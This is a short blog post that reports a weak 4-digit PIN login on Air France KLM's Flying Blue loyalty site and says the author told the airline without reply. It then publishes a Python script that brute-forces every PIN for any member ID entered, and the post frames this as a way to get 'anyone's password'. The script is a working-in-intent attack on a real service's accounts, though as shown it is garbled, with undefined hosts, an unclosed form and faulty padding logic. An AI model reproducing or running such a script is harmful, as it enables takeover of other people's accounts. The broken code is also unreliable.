1 minute read

I, for one, fly with Air France KLM a few dozen times a year.


They have a membership program, which grants you discounts on flights, book flights, get “free” items, and other advantages, called Flying Blue.

Like most of these membership programs these days, its accessible online, and you actually do most of the stuff with it online.

The identification code is a 10 digits code formatted like this one: 201xxxxxxx

The password is a 4 digits number.

Well, how many passwords can you have for one identification code? that’s right, 10 000.

Sounds like much? Not really. That’s 4 digits with 10 values each. Passwords considered secure nowadays have 8 digits with approx. 104 values each (it can be more or less).

Of course that’s not all what will make a password secure, but this is not the point.

I lost my password to this service a while ago, and despite my E-Mail and real life requests did not get a new password after a few month, so I decided I’d just recover it myself. And recover it I did.

A simple script takes an hour to test all the combinations. The issue lies in the fact that you can just put any other identification code, and find the password for it (effectively getting anyone’s password).

I have notified Air France KLM 3 month ago about this, without a single reply (just like the requests to get the password reset afterall). They just do not care.

The script to do this is after the jump.

import urllib2, re, urllib, cookielib
import sys

USER_AGENT='Mozilla/4.0 (compatible;MSIE 5.5;Windows NT)'
USER="" #put the identification code here

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
r = urllib2.urlopen(urllib2.Request(HOST1))

for i in xrange(0, MAX+1):
        pin = "0000"
        ln = len(str(i))
        if ln == 3:
                pin = "0"+str(i)
        elif ln == 2:
                pin = "00"+str(i)
        elif ln == 1:
                pin = "000"+str(i)
                pin = str(i)
        form = {'miles': USER,
                'forwardurl': '',
                'pin': pin,
                'remember': 'on',
        data = urllib.urlencode(form)
        headers = {'User-Agent': USER_AGENT}
        req = urllib2.Request(HOST, data, headers)
        r = urllib2.urlopen(req)
        source = r.read()
        if re.search('Unknown user name', source) == None:
                print "LOGIN OK:", USER, pin
                print ":(", pin

Easy as pie :p